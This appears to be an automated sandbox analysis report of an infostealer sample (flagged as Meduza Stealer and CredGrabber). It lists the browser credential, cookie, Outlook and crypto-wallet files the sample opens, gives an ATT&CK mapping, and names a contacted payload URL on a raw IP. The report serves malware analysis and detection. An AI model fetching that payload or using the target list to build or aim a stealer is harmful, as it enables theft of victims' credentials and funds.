Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation TimeZoneKeyName

Jump to behavior

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 11_2_00007FF6350EB460 GetSystemTimeAsFileTime,SleepConditionVariableCS,GetLastError,

11_2_00007FF6350EB460

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_000000014007DCC0 GetUserNameW,

14_2_000000014007DCC0

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Code function: 14_2_000000014007F210 GetTimeZoneInformation,GlobalMemoryStatusEx,wcsftime,GetModuleFileNameA,

14_2_000000014007F210

Stealing of Sensitive Information

Yara detected CredGrabber

Source: Yara match

File source: Process Memory Space: qflwedtkihuzyxlg.exe PID: 3524, type: MEMORYSTR

Yara detected Meduza Stealer

Source: Yara match	File source: 0000000E.00000002.2835428358.000001FB10D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qflwedtkihuzyxlg.exe PID: 3524, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680683559.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\config
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680683559.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\configer
Source: qflwedtkihuzyxlg.exe, 0000000E.00000002.2835428358.000001FB10D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: KHg2NCkgWzIzLjAxXQpNb3ppbGxhIEZpcmVmb3ggKHg2NCBlbi1VUykgWzExOC4wLjFdCk1vemlsbGEgTWFpbnRlbmFuY2UgU2VydmljZSBbMTE4LjAuMV0KTWljcm9zb2Z0IE9mZmljZSBQcm9mZXNzaW9uYWwgUGx1cyAyMDE5IC0gZW4tdXMgWzE2LjAuMTY4MjcuMjAxMzBdCk1pY3Jvc29mdCBWaXN1YWwgQysrIDIwMjIgWDY0IEFkZGl0aW9uYWwgUnVudGltZSAtIDE0LjM2LjMyNTMyIFsxNC4zNi4zMjUzMl0KT2ZmaWNlIDE2IENsaWNrLXRvLVJ1biBMaWNlbnNpbmcgQ29tcG9uZW50IFsxNi4wLjE2ODI3LjIwMTMwXQpPZmZpY2UgMTYgQ2xpY2stdG8tUnVuIEV4dGVuc2liaWxpdHkgQ29tcG9uZW50IDY0LWJpdCBSZWdpc3RyYXRpb24gWzE2LjAuMTY4MjcuMjAwNTZdCkFkb2JlIEFjcm9iYXQgKDY0LWJpdCkgWzIzLjAwNi4yMDMyMF0KTWljcm9zb2Z0IFZpc3VhbCBDKysgMjAyMiBYNjQgTWluaW11bSBSdW50aW1lIC0gMTQuMzYuMzI1MzIgWzE0LjM2LjMyNTMyXQpHb29nbGUgQ2hyb21lIFsxMTcuMC41OTM4LjEzMl0KTWljcm9zb2Z0IEVkZ2UgWzExNy4wLjIwNDUuNDddCk1pY3Jvc29mdCBFZGdlIFVwZGF0ZSBbMS4zLjE3Ny4xMV0KTWljcm9zb2Z0IEVkZ2UgV2ViVmlldzIgUnVudGltZSBbMTE3LjAuMjA0NS40N10KSmF2YSBBdXRvIFVwZGF0ZXIgWzIuOC4zODEuOV0KSmF2YSA4IFVwZGF0ZSAzODEgWzguMC4zODEwLjldCk1pY3Jvc29mdCBWaXN1YWwgQysrIDIwMTUtMjAyMiBSZWRpc3RyaWJ1dGFibGUgKHg2NCkgLSAxNC4zNi4zMjUzMiBbMTQuMzYuMzI1MzIuMF0KT2ZmaWNlIDE2IENsaWNrLXRvLVJ1biBFeHRlbnNpYmlsaXR5IENvbXBvbmVudCBbMTYuMC4xNjgyNy4yMDEzMF0K
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680683559.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680683559.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680683559.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680683559.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum\keystore
Source: qflwedtkihuzyxlg.exe, 0000000E.00000003.2680683559.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: powershell.exe, 00000005.00000002.2231709935.00007FF8490E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOCK	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match

File source: Process Memory Space: qflwedtkihuzyxlg.exe PID: 3524, type: MEMORYSTR

Remote Access Functionality

Yara detected CredGrabber

Source: Yara match

File source: Process Memory Space: qflwedtkihuzyxlg.exe PID: 3524, type: MEMORYSTR

Yara detected Meduza Stealer

Source: Yara match	File source: 0000000E.00000002.2835428358.000001FB10D28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qflwedtkihuzyxlg.exe PID: 3524, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Native API	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Abuse Elevation Control Mechanism	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	Logon Script (Windows)	1 DLL Side-Loading	3 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Access Token Manipulation	1 Software Packing	NTDS	44 System Information Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	211 Process Injection	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	211 Process Injection	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 NTFS File Attributes	Input Capture	11 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
OceanicTools.exe	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll	100%	Avira	HEUR/AGEN.1354117
C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll	100%	Joe Sandbox ML
C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe	42%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://gcc.gnu.org/bugs/):	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://api.ipify.org/	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.13.205	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.208.158.47/phantomtoolsv2.exe	false		unknown
https://api.ipify.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ns.adobe.c.0/tif	qflwedtkihuzyxlg.exe, 0000000E.00000003.2654718716.000001FB13681000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ns.adobe.hotosh	qflwedtkihuzyxlg.exe, 0000000E.00000003.2834681835.000001FB13695000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834648950.000001FB13694000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834605604.000001FB13690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gcc.gnu.org/bugs/):	qflwedtkihuzyxlg.exe.0.dr	false	URL Reputation: safe	unknown
http://ns.adoraw-sei	qflwedtkihuzyxlg.exe, 0000000E.00000003.2654718716.000001FB13681000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657134772.000001FB10DF3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139DC000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657312992.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2657277538.000001FB10E19000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2656578724.000001FB139C3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ns.adobe.c.0/ti	qflwedtkihuzyxlg.exe, 0000000E.00000003.2834681835.000001FB13695000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834648950.000001FB13694000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834605604.000001FB13690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ns.photo/	qflwedtkihuzyxlg.exe, 0000000E.00000003.2834681835.000001FB13695000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834648950.000001FB13694000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834605604.000001FB13690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ns.a.0/sTy	qflwedtkihuzyxlg.exe, 0000000E.00000003.2834681835.000001FB13695000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834648950.000001FB13694000.00000004.00000020.00020000.00000000.sdmp, qflwedtkihuzyxlg.exe, 0000000E.00000003.2834605604.000001FB13690000.00000004.00000020.00020000.00000000.sdmp	false		unknown
